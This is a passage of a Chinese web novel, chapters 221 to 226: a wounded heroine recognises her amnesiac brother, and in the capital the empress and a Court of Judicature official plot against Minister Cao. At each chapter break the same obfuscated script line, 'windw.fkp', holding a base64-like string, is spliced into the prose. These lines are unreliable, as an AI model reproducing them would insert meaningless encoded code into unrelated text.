那青年生的极其好看,剑眉朗目,身姿挺拔,只是表情严肃不苟言笑,走过来的时候宛若一株行走的寒松,周身都是生人勿近的气势。 好看是好看。 就是冷了点。 阿满忍不住用手搓了搓胳膊上的鸡皮疙瘩。 大嫂看见阿满站在门外,拉着她赶紧进去,小声的说道:“这可是我好说歹说才愿意过来帮忙看看的,就不要介意他是个男子了。” 那人走进门内,秦舞正在给燕晚清用帕子擦汗。 “大夫请过来了?”秦舞转过身去看向门口,这一眼,她就愣住了。 这个世界上竟然还会有与萧苹风不相上下的容貌。 着实让她有些移不开眼睛了。 倘若萧苹风是湖泊之上的明月姣姣,眼前这个男子便是寒山之下的雪景江湖。 “就是这位小姐的妹妹,您给看看。”大嫂热情的邀请男子上前查看伤势。 此时的燕晚清躺在榻上,面色已经有些灰白,整个人看起来十分虚弱,呼吸都有些困难了。 倘若再不医治,只怕是真的挺不过今晚。 秦舞主仆的目光都落在男子超脱寻常的美色上,一时之间完全没有注意到男子在看见燕晚清的瞬间眼里闪过的惊诧。 “我治病的时候不能有外人。”男子冷声说道。 秦舞从美色中回过神:“我妹妹还未出阁,不如我留下来给大夫您打个下手吧。” 好看是好看,但她还是得留个心眼。 燕晚清不是阿猫阿狗,那是大渭的安平郡主,现在又是西征的大帅,若是现在死了,只怕后面自己有理也说不清了。 可能还会被有心之人利用,到时候挑起两国之间的战争,到时候才是追悔莫及了。 所以今日这门,她秦舞绝对不可能出去。 男子看了她一眼,似乎在思考她的话,最终还是妥协:“行,其他人出去。” 秦舞见自己能够留下来,松了一口气。 大嫂和阿满走了出去。 关门的时候大嫂在外面不放心的喊道:“有什么事情就喊我啊。” 秦舞连忙道谢。 “去把你妹妹扶起来。”男子淡然的吩咐道。 秦舞赶紧上前将燕晚清扶着坐了起来。 动作之间牵扯到了她的伤口,疼的燕晚清迷迷糊糊睁开了双眼,一下子就看见了面前的男子。 她朝着那男子的方向伸了伸手。 “……哥哥?” 是她的错觉吗? 为什么这个时候还能看见哥哥,难道是她真的要死了…… 男子眼看着燕晚清眼角渗出一滴泪水,顺着面颊滴落到了下巴,最后没入了衣衫之间。 不知怎么的,他的心口跟着抽疼了一下。 脑海中闪过了一些画面。 一群小孩在玩闹…… 很熟悉,但是瞬息之间被从脑海中被抽离,仿佛从来没有来过一样。 这种怅然若失的感觉,让他情不自禁从怀中掏出了一枚丹药,交给了秦舞:“让她服下。” 这是教主给他用来保命的丹药。 全天下只此一枚。 他交出去的时候也觉得自己有点鬼迷心窍了。 但是给都给了,现在碍于面子也不可能再要回来。 看着秦舞将药丸费劲的塞进了燕晚清的嘴里,他又“顺手”从旁边的案几上倒了一杯水递了过去。 那枚药丸终于被燕晚清给顺利吞下。 他的心竟然忍不住跟着松了一口气。 眼下便是要靠内力去催化丹药发挥药效了。 男子上前抬手,摁在了燕晚清的肩膀上。 “别,这里她受伤了!换个方向吧。”秦舞见燕晚清紧皱眉头,她赶紧冲着男子说道。 男子收回了手,看了看自己掌心。 这里受伤了…… 他想到了那天晚上自己射出去的一枚暗器,好像就伤在这里。 没来由的,男子有些烦躁。 说不清楚的自责让他的面色愈加的冰冷。 秦舞还以为自己说错了什么话让这个大夫不开心了。 于是接下来的治疗中,她再也不肯轻易开口,生怕惹毛了对方,到时候治疗到一半,对方跑了,到时候燕晚清可真就要死在荒原里了。 经过了一个时辰的疗伤。 男子收回手掌的时候,面色都白了几分。 “伤口上点金疮药,然后注意多休息,不要再让她用力了,免得伤口再崩开。” 秦舞听着男子的交代,连连点头。 “多谢大夫了。”她对着门外喊道:“阿满,进来。” 阿满进来之后,在秦舞的眼神之下,掏出了一个荷包。 男子看见荷包出现,便抬手拒绝:“举手之劳,不足挂齿,这点钱还是留给你妹妹看病用吧。” 说着他转身就要离开。 秦舞赶紧开口道:“你救了我妹妹的性命,若是不收下这点心意,我们姐妹二人都会过意不去的。” “是这村落的妇人拜托我过来医治的,若是真的想感谢,便谢谢她吧。”男子丢下这句话,头也不回的离开。 阿满看着那人走的很快,离开的时候门都没有关,不由得开口说道:“国主,这人好生无礼啊。” “真有脾气。”秦舞看着门外缓缓开口。 阿满:“……” 秦舞收回了视线:“那就按照这位公子说的,把这银钱交给大嫂吧,看来这几日燕晚清都要在这边养伤了,一时半会走不了,少不得要打扰人家夫妇。” 只是不知道那位公子,会不会也留在这里呢。 秦舞心中有了小心思,但是面上却没有表露出来。 她想到自己这次出行的目的,就是为了应付老臣们的催促,所以出来抓个合眼缘的少年郎回去当夫君。 可是一般的人她根本看不上。 所以这也就是搪塞老臣们的借口。 只是眼下—— 秦舞面颊有一些粉色飘过。 好像也不是不能达成所愿,找个自己喜欢的夫君,替他生下子嗣。 “阿满,你过去找大嫂的时候,顺便问问刚刚那位公子,他会在这里留几日。”秦舞干咳一声:“你我都不懂医术,后面若是这位公子还在,我们也就能够安心了。” 第二百二十二章 大哥变皇后,有苦难说出口 燕晚清醒过来的时候,嗓子沙哑的根本说不了话。 不过奇怪的是,整个人感觉十分的有活力,经脉无比畅通,让她觉得功力又精进了不少。 “多谢公子的照拂,我妹妹现在还没有醒,若是再晚点还不醒的话,希望公子能够过来看看……我们姐妹二人相依为命多年,实在是……”门口传来秦舞略带做作的哽咽声,听得燕晚清眉头忍不住的蹙起。 这娇柔扭捏的声音,上次从秦舞嘴里出来的时候,还是在南山寺的后山树林里。 对象是萧苹风那厮。 这次是谁? 燕晚清撑起身子起来活动了一下四肢。 除了轻微的疼痛感,已经可以自如行动了。 这点疼痛跟之前比起来,就跟蚂蚁咬似的,根本不值一提。 听到外面秦舞还在捏着嗓子说话,燕晚清走到门口,“哗啦”将门给打开了。 秦舞被吓得不轻,她本就是稍微靠在门上的,一下子倒在了燕晚清的怀中。 “你——醒了?”秦舞抬头看见燕晚清似笑非笑的看着,赶紧说道。 燕晚清点点头:“我睡了多久,你跟谁说话呢?” 她下意识看过去。 燕晚清:“!!!” 跟她哥! 那男子显然也认出了燕晚清,只是目光淡淡,仿佛第一次见一样。 二人的目光在空中交织,最后还是燕晚清率先移开了视线。 她装作没事人一样,笑着看向了秦舞说道:“姐姐,这次我睡了多久?” 秦舞立刻接话道:“三天三夜,你要是再不醒过来,姐姐我可真要担心死了。”说着她看向了那位公子:“这不,刚刚还在和黎公子说这件事情呢。” “黎公子?”燕晚清挑眉看向那张和自己兄长长得一模一样,连鼻尖上的痣都在一个位置上的男子。 男子颔首:“黎安。”算是说出了自己的名字。 黎安。 燕黎安。 去掉了燕这个姓氏。 “好名字。”燕晚清意味深长的勾了勾唇说道。 秦舞在旁边用胳膊肘怼了她一下:“你的命都是人家黎公子救得,还不赶紧道谢,若是没有那颗丹药,只怕你现在早就去黄泉路上找孟婆要汤了。” “丹药?”难怪她这次醒过来之后感觉浑身都充满了干劲儿。 黎安对于那枚丹药的使用一点都不心疼,尤其是在看见这个少女活灵活现站在自己面前的时候。 这种扑面而来的亲切感,让他心里十分的舒适。 就好似两个人早就相识,一起长大的那种熟稔感。 “不碍事,只是一枚丹药而已,救人一命胜造七级浮屠。”黎安一字一句的说道。 燕晚清双手抱拳,以江湖儿女的姿态:“万分感谢公子救命之恩,若是公子不嫌弃的话,往后便称晚清为妹妹,以后大哥有事情,晚清定万不容辞。” 黎安见燕晚清丝毫没有提及之前自己用暗器伤了她的事情,心中也松了一口气。 “都是江湖儿女,既然姑娘有如此气概,那便认下你这个妹妹也无妨。” 见黎安这样说,燕晚清高兴的开口道:“哥哥!” 这一声哥哥,让她鼻尖猛地一酸,燕晚清努力压下胸腔翻涌的感慨。 虽然不知道为什么兄长会变成现在这个样子,失去了所有关于燕家的记忆,不过此刻他还活着,对于燕家,对于母亲,对于她们而言,便是最好的消息。 这件事情总有一天,她会查的水落石出的。 回到屋子之后,秦舞上下打量了一下燕晚清,满脸都是古怪的神色。 燕晚清知道这次若是没有秦舞,自己肯定是不能活着走出荒原的,再加上秦舞性情坦荡,除了面对男人的时候有些许拧巴,平时还是挺好的。 于是她笑着说道:“国主大人这般看着妹妹我做什么?” “燕晚清,你不对劲。”秦舞走到她身边坐下来,眯着眼说道:“你跟我说实话,是不是看上黎公子了。” 看上黎安? 燕晚清被她这句话吓得口水呛到了气管,好一通咳嗽才缓过劲儿来。 秦舞却以为被自己说中了。 “你可是有婚约在身的,黎公子不适合你。” “他当然不适合我!”燕晚清大声的说道:“刚刚我不是认他当兄长了么?” “当真?”秦舞不相信的看着她。 燕晚清翻了白眼:“自然,你都说了,我是有婚约在身的,国主若是看向了那黎公子,大可放心,我燕晚清对他除了兄妹之情,再无其他。” “这样当然最好。”秦舞冷哼一声:“孤可是打算将他带回秦国当皇后的。” 燕晚清:“不可能!我哥怎么能去给你当皇后,你开什么玩笑。” 秦舞愣了一下:“你反应这么大干什么,刚认得哥哥,又不是亲哥。” 燕晚清一口气被气得卡在胸口,上下不得。 那黎安就是她亲哥! 她一母同胞的亲哥! 只是现在他失去了记忆,自己也没有办法跟他相认而已。 这些燕晚清没有办法和秦舞去交代,只能干巴巴的说道:“正常的男子都不会想过去给你当皇后的,朝廷动荡,乱世在即,好男儿谁不想建功立业。” “你又不是黎公子,你怎么知道他不想当孤的皇后。”秦舞轻哼一声:“孤救了你,你就得知恩图报,用你这兄妹的关系好好的帮孤一把,往后你在大渭混不下去了,欢迎你来秦国。” 燕晚清被这说辞搞的哭笑不得,顺着话茬说道:“我在大渭都已经是大帅了,去了秦国,国主能给我什么样的职位?” “宰相怎么样?”秦舞开口道,刚好她早就看那个老匹夫不舒服了。 如果是燕晚清当了她秦国的宰相,不出十年,秦国一定能够一统六国。 燕晚清见她神情认真,一点都不像是开玩笑的样子。 “好,若是真的混不下去了,晚清必定前去投靠国主。”燕晚清目光灼灼的看向秦舞。 秦舞没想到这次出门竟然收获这么大。 皇后的人选有了,和燕晚清还搞好了关系。 “那什么,孤一直有个问题想要问你。”秦舞神秘兮兮的凑到了燕晚清身边。 燕晚清正对着镜子查看肩膀上的伤口,漫不经心的说道:“国主但说无妨。” “你还记得南山晚宴么?后来有没有听说那太子爷跟谁家女眷那什么……”秦舞说的极其含蓄,用两个大拇指做了动作。 燕晚清挑眉,跟着她用大拇指比划了一下:“哪个?” “就是那个!”秦舞俏脸一红:“男女之间的那种事情!” “南山晚宴?”燕晚清下意识以为秦舞是关心萧苹风,所以才问自己,毕竟女人总是会关心前任的消息,不至于念念不忘,但是喜欢听点八卦也是正常的心理。 “没有。”燕晚清脸不红的撒谎。 太子爷和她在南山晚宴上的荒唐一夜,燕晚清是没脸去说的。 秦舞啧了两声。 “不应该啊,那酒这么猛,没有女子他是怎么解决的。” 燕晚清:“???” 合着上次的酒是秦舞给萧苹风准备的,自己成了那个倒霉鬼。 秦舞嘟囔着,她也不怕被燕晚清听见,此时她已经是秦国的国主,这件事情过去了那么久,早就没有了证据,所以就算她说了,按照他们现在的关系,燕晚清也不会出去胡说八道。 燕晚清背对着她,镜子里的脸色像个调色板,过了好久才恢复了平静。 都是命。 南山那一夜,她算计了所有人,自己被人算计了也不足为奇。 即便没有那壶酒,她和萧苹风之间也会换成别的羁绊。 这样想着,她心里又万幸,那天晚上的人是他。 “小姐不好了,外面打起来了。”阿满充满看热闹不嫌事大的声音从门外传来。 燕晚清迅速将衣服穿好,此时秦舞已经走到了门口。 阿满满脸兴奋的指着外面。 “来了一批人在外面打起来了!打起来了哈哈哈!” windw.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4qwjZ4Sy9vYtl4a1hiRjZ63IiwgmtYzmjI3tEymyk=\"; 第二百二十三章 成大业者,不扣小钱 燕晚清和秦舞过去的时候,那边已经打的鸡飞狗跳,没有人敢出手。 朴实的大哥和大嫂站在一边,对此已经习以为常。 “南来得北往的,多得是脾气不好的外乡人,打架嘛,很正常的。”大哥丢下这句话之后,就带上渔网打算去湖里打鱼了。 靠山吃山,靠水就吃水了。 这个湖泊是方圆百里唯一一个有鱼的湖,所以大哥和大嫂便索性在这里定居了。 大嫂看着大哥出去了,索性靠在树边上眯着眼睛看,嘴里不停的念叨着什么。 燕晚清耳力过人,听到她正在算账。 “篮子一两,桌子十两……再多砸点,后面一年都不用干活了。” 燕晚清:“……”好朴实的一家人啊。 “再不住手我可就不客气了。”打架中的一个瘦削的人大声喊道。 他一直都在躲闪,但是对方却是不管不顾,看到什么就拿起什么往那人身上砸去。 “来啊,孬种,谁怕谁!”说话是个五大三粗的胖子,长得膘肥体壮,背上还有一个很大的图腾纹身,看起来整个人凶神恶煞的。 “这可是你说的!”那身形瘦削的男子,大声喊道:“否极,出来干他!” 只见说话间,房屋顶上的一身黑衣的少年骤然出现,对着那粗壮的光头胖子便是一掌,胖子一个不设防,被打的接连倒退三四步。 等到他反应过来的时候,少年手中的长剑接踵而至。 那胖子没辙,只能一退再退,在强劲的内力之下,他像是一只被狂风卷起的大肉球,十分的狼狈。 那瘦削的男子仰头大笑:“死胖子,让你嚣张让你狂,你且需知道人外有人天外有天,出门在外要学会低头做人。” 眼看着长剑就要割断胖子的喉咙,那少年依然没有要停止的意思。 玩归玩,闹归闹,若是闹出了人命出来,这件事情就大条了。 大嫂这下子看不得热闹了,刚要出声,就看见旁边的燕晚清大声喊道:“住手!” 与此同时,在对面的屋檐之下,一枚红枣朝着胖子的方向射了过去。 红枣打在了剑锋之上,否极竟然被打退直接撞在了树桩上,吐了一口血出来。 那胖子顺势就要上前给否极一个好看。 黎安冰冷的声音响起:“阿库。” 被喊作阿库的胖子,咬紧后槽牙憋出一句话来:“下次可就没有这么好的运气了。” 否极冷哼一声,从地上起身,手里的长剑蓄势待发。 “否极。”此时燕晚清淡淡的喊出声。 否极听到声音,眼里都是欣喜:“主子!” 燕晚清点了点头,此时躲在角落里的青年也站直了身子,可不就是柴右。 柴右衣衫褴褛胡子拉碴,已经完全没有当时在七皇子府上翩翩冠羽的模样了。 四个字,不忍直视。 燕晚清蹙眉看着柴右乐颠乐颠的朝自己走过来,不露痕迹的超后挪了一小步。 这味儿实在是有点冲。 柴右不以为意的开口说道:“否极小孩儿,我说什么来着,踏破铁鞋无觅处,得来全不费工夫,如果不是我硬要来这湖里洗个澡,你也不会这么快就找到你主子对不对。” 否极没吭声,只是看着燕晚清的眼圈是发红了的。 当收到燕晚清失踪的消息时,他此时人正在西凉城的边界处,于是和柴右一合计,便直接连夜赶了过来。 此刻看见燕晚清站在自己面前,他才终于松了一口气。 “主子的脸。”否极超前走了一步,看到燕晚清脸上的结痂。 燕晚清勾唇笑了笑:“没事。” 否极眼里却闪过了一丝杀意。 谁这么大胆,竟然敢伤了主子的脸! “今儿个可真是个好日子,热闹非凡,我得去洗个澡好好的庆祝一下。”说着柴右迈开脚步朝着湖边走去。 那叫做阿库的胖子,恶狠狠的瞪着柴右。 柴右走过他身边的时候,停了下来:“你这么看着我,莫不是想待会儿我下水你过来闷死我?” 阿库一下子被说中了心思,肥硕的嘴唇抖动了两下,冷哼一声移开了脸。 “这可不兴啊。”柴右看向了屋檐之下的白衣青年:“这胖子是你的属下吧,你可得好好管管,我乃朝廷命官。” “谁家朝廷命官出现在这里,吹牛不打草稿。”阿库小声的骂道。 黎安这才将视线从燕晚清那边收回,看向了柴右。 他点了点头:“都是误会,我与你的主子也是朋友。” “那就好办了。”柴右没了后顾之忧,坦坦荡荡的去洗澡了。 阿库阴狠的瞪着他离开的方向。 “我说的话希望你能当回事,教主让你跟着我,不是让你给我惹麻烦的。”黎安没有情绪的声音在阿库的耳边响起。 只是奇怪的是其他人就像是根本没有听见一样。 阿库想到教主临行前吩咐的事情,只能将自己心中的怒火摁压了下去。 “这件事情都是误会,兄长莫怪,这是我的属下,还是个孩子呢。”燕晚清走过来,笑着跟黎安说道。 否极不情愿的走过来,刚刚那枚红枣可是让他现在手都麻木着。 他倒要看看到底是何方神圣,竟然能用一枚红枣就让自己受了内伤。 只是抬眼的瞬间,他整个人愣在了原地。 大,大公子! “否极,道歉。”燕晚清笑着看向了否极。 否极心中狐疑自家主子的态度,一时之间没敢相认,只是听话的道了歉。 那阿库没想到少年这么快就认错了,他有气没处撒,只能冷哼一声晃荡着身上的肥肉离开了。 黎安从见到否极的第一眼就觉得莫名的熟悉,那种怅然若失的感觉再度席卷而来。 聪明如他,没有错过否极眼中的震惊。 “兄长的属下还挺有脾气的。”燕晚清给了个台阶说道。 黎安眼中闪过一丝冷意,面上没有任何情绪:“他不是我的属下,只是……家族里面派来保护我的。” 否则,阿库这样的人,早就不知道死在自己手里多少次了。 燕晚清没有忽略掉他口中说的家族,心中暗暗的记下了。 联系上次格桑和哥哥见面,再到这次的阿库,阿库背上的图腾……燕晚清觉得兄长和光明教脱不了干系,极有可能在光明教中担任了极其重要的角色。 不然按照阿库那种一点就着的性子,怎么会如此听从哥哥的话。 这里面,一定大有文章。 燕晚清收敛了心思,突然朝着旁边的秦舞伸出了手。 “姐姐,给钱。” 一旁看热闹的秦舞:“什么钱?” “打坏了人家东西可不得赔钱吗?”燕晚清理所当然的说道。 秦舞愣住了:“赔钱你赔啊,跟我要什么?” “姐姐说这话好生见外,刚刚还姐妹情深呢。”燕晚清意有所指的说道。 想到刚刚自己跟燕晚清抛出的橄榄枝,秦舞深呼吸一口气。 成大业者,不扣小钱。 “阿满,拿钱袋来。” windw.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4qwjZ4Sy9vYtl4a1hiRjZ63IiwgmtYzmjI3tEymyk=\"; 第二百二十四章 燕家的人,本宫从不小觑 荒原之上,一人一狼坐在落日之下。 近看还能看见地上散落着各式各样的酒瓶。 银狼趴在男人的身后,不甘愿的当着狼形靠枕。 “你说她会在哪里呢?”萧苹风拎着酒壶往嘴里倒酒,然后将空瓶子随处甩在了荒原之上。 银狼呜咽了一声。 它也不知道那个女人在哪里啊。 “她若是真的遭遇了不幸,我便屠了西凉城,然后去见她。” “她那么喜欢你,到时候咱俩一起好不好?” 断断续续的声音不断从男子口中出来。 银狼越听越不对劲,后颈的皮毛瞬间就竖了起来。 “嗷呜——”这叫什么话? 它一头狼活的好好的,半点轻生的想法都没有好不好。 男性人类,你要是不想活了,自己去死吧,它不想死! “你在抗议?”带着威胁的声音再次响起。 银狼:“……嗷呜~”它没有。 呜呜呜,一头狼活到这个份上,简直给狼祖宗们丢脸。 就在银狼呜咽的时候,一道人影出现在了他们身后。 银狼迅速抬头看过去,森牙露了出来。 来人忌惮的看了一眼银狼。 “说罢,再没有好消息,等日落便随孤去屠城。” 那人单膝跪地:“主子,找到郡主了。” 靠着银狼的身影没动。 属下有些不确定的再次说道:“主子,找到郡主了,就在不远处的蓝湖镇上。” 这次萧苹风站了起来,他单手捂着脸低低的笑出了声。 “西凉城的人,真是好运呢。” 属下心里松了一口气。 主子这段时间仿佛是疯魔了一般,附近的倭寇马匪的窝点都被他翻了个遍,倘若再找不到安平郡主,只怕西凉城真留不住了。 “走,去接她回家。”萧苹风将手里的酒瓶狠狠的丢到了落日里面,然后转过身来。 银狼站在他的身边,不顾自己发麻的四肢,霸气的:“嗷呜——!” 接女人回家! …… 京都最近人人自危。 自从陛下和皇后从避暑山庄回来之后,气氛就比较微妙。 再到张家满门皆灭,大理寺卿谢群在悬崖底下找到了张念的尸体,整个京都的大官就彻底憋不住了。 甚至有人写下奏折直指是皇后张岚依下的黑手,要求陛下废后,将张岚依移交大理寺处理。 他们不知道的是,这些奏折还没有送到皇帝的案前,就已经悉数出现在了冷宫里面。 张岚依示意来福取来箱子。 “后面在遇到这样的奏折,还要有劳张公公了。”来福将小箱子直接放在了那公公的手里。 张公公掂量着手里箱子的份量,眉开眼笑。 “皇后娘娘的事情就是老奴的事情,您吩咐一声便是,这太贵重了,老奴实在是受不得。” “本宫给了你,便是你受得。”张岚依缓缓拨开茶盖,将茶末拨到了边上,红唇抿了一口热茶,慢条斯理的说道:“若是没了张公公,本宫现在应该在大理寺了。” “娘娘说的这是什么话,娘娘一直都是后宫的主子,这些都是一些废纸罢了,老奴打扫陛下的御书房,就是分内之事。”张公公赶紧弯腰说道。 “既然是分内之事,那就更应该收了。”来福顺势说道。 张公公这次再也没推脱,抱着箱子离开了。 来福关了冷宫门。 上前翻开了几张奏折看,越开脸色越白。 白纸黑字上面都是这几年张岚依做的黑事,若是真的到了陛下面前,情况就严重了。 “这几年没有白养这个张权,关键时候还是有点用的。”张岚依缓缓放下茶杯说道。 来福将奏折全部收拾好,足足有四五本。 “拿去烧掉吧。”张岚依吩咐道。 来福抱着奏折就要出去。 张岚依却说道:“就在这个屋里烧。” 来福点点头,她放下奏折,出去找火盆。 张岚依看着面前这奏折,目光十分平静。 上面说的没错,她确实是个十恶不赦的人,但是写这些奏折的人又是什么善类吗? 天下的乌鸦一般黑。 当年这群吸着她父亲的血得到晋升都被人啊,都洗干净脖子等着吧。 来福端着火盆走了过来,将奏折悉数丢进了火光之中,主仆二人一言不发的看着火舌将这些丑事悉数烧的干干净净。 来福用钳子泛着烟灰,心里终于松了一口气:“娘娘,烧干净了。” 张岚依托着下巴,点了点头。 “今晚晚点睡,有客人。” 来福不敢多问,躬身说了声是,然后端着火盆出去了。 张岚依起身走向了梳妆台,镜子里就多了个人。 燕京斜靠在她身后的窗栏上,身上还带着露水。 “北疆小侯爷听说人都到了京都外面,连夜派人递了折子,现在人已经往北疆去了。”张岚依轻轻的开口:“你可知道因为什么事情?” 张公公说因为这个事情,皇帝那老头发了好大一通火呢。 燕京摸了摸头,最近他没再剃头了,所以头皮上慢慢长出了黑发,他不太习惯,一直想用手去摸。 “晚清离开的时候,留了一份锦囊给怀玉。” 张岚依听完轻笑,她拆下发髻上的步摇放在了梳妆台上。 “这个小狼崽子,离开的时候准备了不少事情呢。” 提到燕晚清,燕京的唇角也忍不住勾了勾。 “她虽然远在西凉城,但是京都的事情都在她的掌握之中。” “燕家的人,本宫从来不小觑。”张岚依透过镜子,直视身后的燕京:“被老皇帝折断羽翼的凤凰,再度飞上天空,天下人都将看到她的浴火重生。” 就在这时,门外传来敲门声。 “皇后娘娘,贵客到了。”来福带着些许沙哑的声音在外面响起。 张岚依看向了门口:“你瞧瞧,小狼崽子给本宫送过来盟友了。” 此时燕京已经消失在了屋内。 张岚依拉了拉衣襟:“进来吧。” 门被缓缓推开,一个带着兜帽的女子走了出来,她身形纤弱,却有个硕大的肚子,整个人看起来十分的疲惫,仍然挡不住眉眼之间的英姿。 “臣妾见过皇后娘娘。”被宫人搀扶着的孙涟漪,朝着皇后勾唇笑道,双眼璀璨晶亮,好似天上的繁星。 张岚依同样意味深长的笑道:“没想到,竟然会是妹妹你啊。” windw.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4qwjZ4Sy9vYtl4a1hiRjZ63IiwgmtYzmjI3tEymyk=\"; 第二百二十五章 想啊,做梦都想 张岚依吩咐着来福扶着孙涟漪躺在了软榻上,她上前叹息道:“早知道是妹妹你,本宫就去你宫里了,何苦你挺着个大肚子过来冷宫遭罪。” “不碍事,眼下还没有到生产的时候,还能走动的。”孙涟漪笑着说道。 她昨日收到了一个锦囊。 送锦囊的女子是燕晚清身边的暗卫。 孙涟漪是认识的。 看到锦囊上面的内容之后,她只犹豫了一天,便毅然决然的来了冷宫。 整整三张信纸,燕晚清将这段时间发生的事情全部娓娓道来,让孙涟漪彻彻底底的清醒了过来。 “太医说妹妹只剩下半个月就要生产了,这段时间可得注意。”张岚依语重心长的说道。 孙贵妃的腹中,可是关乎到他们生死的存在。 孙涟漪情不自禁的摸了摸肚子,轻叹了一口气:“是福不是祸,是祸躲不过,若是以七皇子为首的那群人,真的打算对这个孩子动手,我们也没有必要顾及颜面对他们手下留情了。” 张岚依见孙涟漪这般说话,心中松了一口气。 “看到妹妹是个有决断的,本宫心里也就放心了。”后宫之中多的是样貌倾城,聪明伶俐的女子,但是这其中大部分人都缺乏了当断即断的决心,所以每每遇到事情,总是会因为这样或那样的关系被牵连集中,从而香消玉损。 看来之前孙贵妃的张扬跋扈,都是迷惑外界的障眼法罢了,今日推心置腹的聊了几句,发现她当真是个妙人。 “平日里也曾因为一些事情跟娘娘闹得不开心,今日妹妹特意准备了一份大礼。”孙涟漪从袖口中拿出一纸信笺,缓慢的放在了案底之上,推到了张岚依的面前。 张岚依将信件打开看到上面白纸黑字之后,整个人都愣住了。 “这?” 孙涟漪弯了弯眉眼露出一抹温柔的笑:“今日便到这里吧,妹妹就在冷宫外面等娘娘的好消息了。” 她说着话,旁边的嬷嬷小心翼翼的搀扶她站直了身子,孙涟漪戴上了兜帽,让自己遮得严严实实的,走出了冷宫。 来福宋总的客人,回来看到张岚依依旧手里面的那张信笺怔怔出神。 “皇后娘娘?” 张岚依将信笺递了过去:“之前一直愁于抓不到那个老不死的把柄,这回真是瞌睡了,就有人递枕头,有了这封信,就算是陛下想要从中放水,也得好好掂量掂量了。” 来福接过信笺,将上面的内容仔仔细细的看了一遍,吓得脸色都白了。 “来福,我们的仇终于能报了。”张岚依眼里的恨意挡都挡不住。 “越是到了这种时候,皇后娘娘越不能轻举妄动,这信件上的内容尚不知虚实,如果打草惊蛇,只怕后面再想动手的时候,对方就会有所防备了,更何况此事非同小可,后宫一向不能干政,安平郡主也不在京都,我们根本没有人去推动这件事情。”来福难得说了一大堆话。 张岚依摇头说道:“你把这封信的内容抄一份下来,然后送到大理寺卿谢群的手里,早年本宫对他有恩,这件事情他不会坐视不理,更何况那老不死的没了他谢群还有晋升的空间。” “这件事情搞不好是要掉脑袋的,谢群一向胆小如鼠,当真会帮我们这个忙?”来福心中都是不确定,万界对于大理寺卿谢群的评价一向不高,都说他是个贪图美色,留恋于烟花柳巷,遇事不决,优柔寡断的小人。 “都是假象罢了,自从他谢群任职大理寺卿以来,破案无数,若是没有那老不死的在上面压着他,现在谢群早就晋升了。”张岚依疲惫的揉了揉眉心:“这件事情你且去办了,本宫心里有数。” 来福不再多言,小心翼翼的将信件放进了袖口深处。 “孙贵妃马上就要生产了,把我们的人换过去,绝不允许任何一点意外发生。”张岚依说完这句话就示意来福出去,自己要休息了。 来福赶紧躬身退了出去。 …… 谢群悄悄的关上了门,拎着自己的鞋子朝着书房跑过去。 一路跑的上气不接下气,后面仿佛有鬼追一样。 好不容易等到了书房,就看见烛台下面的桌子上,放着一份不属于自己书房的东西。 谢群将鞋子丢在了地上,双脚踩了上去,踢啦到了案前。 四下看了看,确定没人之后,他才小心翼翼的将信笺放到了烛火上融化了红印,从中取出信纸来看。 只一眼,他立刻将信纸折好塞了回去,仿佛这是个什么烫手山芋。 谢群将信丢的远远的。 “要命,这到底是谁放的!” 这不是要他的命吗?! 这上面的东西这么可怕,怎么能随随便便的就放在他的桌子上。 谢群想了想,重新走到了窗户和门边上,确认都关严实了,再次将信纸抽出来,凑到了烛光之下看。 这一次,他表情认真,通篇看完。 “秒啊。” 谢群唏嘘一声。 看着信纸上最后落的章印,谢群倒吸一口凉气。 “终于要乱了,本官就知道那张家只是个开胃小菜……啧啧啧。” 谢群说完突然一拍大腿:“得抓紧了,明日那曹尚书便要告老还乡了,今天晚上就得行动啊。” 说着他从椅子上捞起自己的长袍,踩着鞋子往外跑去:“师爷!师爷!” 听见动静的师爷赶紧从温柔乡里走出来,看到谢群衣衫不整的站在院中大喊大叫,他赶紧上前:“大半夜的,您这是闹得哪一出啊?” 这主仆二人衣襟上都还有女子的口脂,鲜红鲜红的没擦掉。 此刻大眼瞪小眼的站在院中,奴仆们听见谢群的动静也慢慢亮起了灯光。 谢群目光灼灼的盯着师爷说道:“想不想跟老子加官进爵?” 师爷连忙点头:“想啊,做梦都想。” “那抄家伙走。”谢群振臂一呼。 师爷跟在他后面:“哪儿去啊?” “去曹家!” 师爷:“啥?哪儿?!” “曹家啊!”谢群满脸通红:“这幂幂之中自有定数,曹尚书早晚都得栽老子手里啊。” 新仇旧恨的,这个老匹夫总算是给他抓到了。 师爷赶紧抓住自家老爷的衣服:“老爷您等等,那曹尚书都要告老还乡了,你非上赶着凑这个热闹干什么。” 谢群盯着师爷:“他是要告老还乡了,可是他的那些门徒没有。” 只要曹尚书一日不倒,他谢群便永远只能是个给人擦屁股的大理寺卿! windw.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4qwjZ4Sy9vYtl4a1hiRjZ63IiwgmtYzmjI3tEymyk=\"; 第二百二十六章 这把年纪,晚节不保 曹家。 万籁俱寂之下,大门被人扣得乓乓作响。 打着哈欠的下人,满肚子都是怨气的走到了门口开门:“谁啊!吃了熊心豹子胆了,敢来半夜砸曹尚书的门!” 大门一开。 映入眼帘的便是一众火把,还有火光之下谢群似笑非笑的脸。 师爷上前一把推开那下人,一挥手:“进。” 下人急了:“不能进,你们疯了不成!这里可是曹尚书的府邸!” 